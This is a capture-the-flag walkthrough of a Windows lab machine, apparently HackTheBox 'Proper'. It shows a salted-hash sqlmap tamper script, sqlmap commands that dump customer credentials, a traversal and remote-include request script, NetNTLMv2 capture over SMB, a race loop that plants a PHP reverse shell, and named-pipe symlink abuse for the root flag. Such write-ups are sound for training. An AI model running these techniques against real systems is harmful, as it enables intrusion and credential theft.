Enumeration
This is an interesting box, there’s only 1 port and it shows up as filtered (when using rustscan). Let’s see what it is:
Looks like a website. Using a tool such as gobuster, we see a few directories:
- /assets > 403
- /licenses > Login page?
These appear to be dead-ends so let’s use the page source. There’s some divs with strange IDs. They look like usernames:
- Dustin
- Daksh
- Anna
- Wager We’ve also got a product page:
/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b
Let’s see what we can do on the product page.
This looks like it may be a page the queries SQL, maybe SQLI? After passing the page to SQLMAP, we didn’t get anywhere. What about cracking it?
Using hashID, we see that it’s using some form message digest hash. We’ll pass it to John the ripper. We didn’t anywhere with this. We’ll try playing around with the request. If we miss a parameter, we’re given an error message containing a salt.
Let’s add the salt to our hash and try again. Now we need to figure out where the salt goes. We can look at the sub formats and pick a few (the correct format ended up being dynamic_4) and a small wordlist:
id+desc
id%20desc
id desc
User own
Seeing that the hash was successfuly cracked shows us that the salt needs to be prepended. Now that we know what the hash is and we have a salt. Let’s try using the tamper function on sqlmap:
import os,string
from hashlib import md5
from urllib.parse import quote_plus
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
salt = b"hie0shah6ooNoim"
h = md5(salt + payload.encode()).hexdigest()
retVal = "%s&h=%s" % (quote_plus(payload), h)
return retVal
We need to create a file called init.py too (so that sqlmap is able to use the tamper script) The command looks like this:
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --batch --tamper=foothold.py --skip-urlencode --dbs
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --batch --tamper=foothold.py --skip-urlencode -D cleaner --tables
Alright, we have potential credentials in here, we can dump the customer login and password.
Since we’ve got the full list of columns, we can go back through and dump the entire table.
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --batch --tamper=foothold.py --skip-urlencode -D cleaner -T customers --dump
We can sign in over /licenses/, there’s not a great deal to see so I decided to try the same thing again. I took a look at the source and:
Look familiar? Let’s try get an error again
This time we can’t just miss a parameter and get an error. What if we try to traverse directory?
GET /licenses/licenses.php?theme=..&h=9aa8b08297c3dfc7050bbb732e4d5186 HTTP/1.1
Host: proper.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=ddmi0vv70strpf9cnra2q352fg
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Interesting.. Let’s try get around this.
We can use the salt we found earlier to create a hash of “..” using a script or a website such as this
c5427f8e0865273f4a62c614adec0985
It worked, using the error we can see we have potential RFI. We’ll make a script for this:
#!/bin/bash
HOST=proper.htb
SALT=hie0shah6ooNoim
TRAV=$1
USER=vikki.solomon@throwaway.mail
PASS=password1
COOKIE=$(mktemp -u)
PROXY=127.0.0.1:8080
curl -c $COOKIE -s -o /dev/null http://$HOST/licenses/index.php
curl -s \
-b $COOKIE \
-o /dev/null \
-d "username=${USER}&password=${PASS}" \
http://$HOST/licenses/index.php
curl -s \
-b $COOKIE \
-G \
-d "theme=${TRAV}" \
-d "h=$(echo -n ${SALT}${TRAV} | md5sum | cut -d' ' -f1)" \
-o /dev/null \
-x $PROXY \
http://$HOST/licenses/licenses.php
rm -rf $COOKIE
Once we’ve capture the request with burp, we can go ahead and view the response, as well as send it to the repeater so we can continue tampering.
GET /licenses/licenses.php?theme=10.10.14.192&h=5a91917bd5b8282ad0ba5a8ebee9a4c1 HTTP/1.1
Host: proper.htb
User-Agent: curl/7.74.0
Accept: */*
Cookie: PHPSESSID=28086t2t7o345ubs50ck7kt64l
Connection: close
We get an error, it attempts to include from our server but can’t (since the schema is removed). What if we try SMB instead? This is a windows box afterall.
To set up an smb server, we can use a python script:
sudo smbserver.py -ip 10.10.14.192 -smb2support haxxed .
You should make a header.inc file to make this look more like an SMB share, why will become clear later.
Initially I didn’t and got stuck for a while When we resend the request, we a NetNTLMv2 hash.
./exploit.sh '//10.10.14.192/haxxed/'
We’ll crack it with john:
I couldn’t figure out what I was meant to do with the password so I took a step back and looked at the error some more.
There’s a condition that checks if the included file contains PHP (and error if it does), maybe we can inject code somehow?
We can use a while loop to do this:
#!/bin/bash
while :; do
echo test > header.inc
cp rev.php header.inc
done
We’ll set our SMB server backup using the creds that we just cracked.
sudo smbserver.py -ip 10.10.14.192 -smb2support haxxed . -username web -password '<password>'
We can then generate a PHP payload using msfvenom and use the script to copy it into the header.inc file and then set up a multi/handler to catch it. We have to refresh page constantly to get the reverse shell. We can then navigate web’s desktop and read the user flag.
If the page starts to hang, clear your cookies and sign back in with the creds you got earlier then try again!
Root own
There’s two interesting files with full permissions, client and server executeables. We need to figure out what they do so, reverse engineering?
We can download them using meterpreter and inspect them. Using strings we can see that the executables are written in golang:
We’ll start by reversing client.exe, if you need to learn or refresh your assembly, I heavily suggest watching these videos
We can start by using ghidra to see what it does (I initial went to use GDB, it’s too big of a file to comfortable go through it).
We can decompile it and get a view like this:
Ghidra makes it much easier to read and we can understand what’s happening a little better.
The service restore function is probably the most important function here (at least for us). We can see it’s creating a named pipe to connect to the server. The pipe is called cleanupPipe, we’ll need to make note of that. Let’s continue!
Further down, we can see what is actually sent. We’ll investigate this furhter on later. Let’s try running the executable and see if we can do anything:
This confirms the name of the pipe, we may need to use a Windows VM, let’s try. (We can easily move the executables to the Windows VM using virtualbox’s file sharing). We can perform further tests to see what it tries to do but in short:
- RESTORE decodes a file and filepath and restores it to it’s previous location
- CLEAN is the inverse of restore, it removes a file and stores it in C:\cleanup<encoded filename> and encrypts the content with AES-GCM
- The pipe must be stored as \.\pipe\cleanupPipe
We can create a symbolic link between a file we have access to and the root flag and use the restore function to retrieve the flag. Let’s try it!
If you’re having issues with your current php meterpreter session, upload a windows meterpreter to Web’s download file and execute it.
We were able to create a symbolic link to our Downloads folder, let’s exploit this!
Since we made a symbolic link between root.txt and our folder cinwashere\root.txtx (extra x as the last char is truncated). The encoded file path is now to our created file.
If we removed the file and remake it, we removed the symbolic link. We then restore it, writing the contents of root.txt to our file. The script able to do this as it has full permissions.
By echoing values into the cleanupPipe (as we discovered while reverse engineering the two files) we can give it instructions and manipulate it to give us the root flag!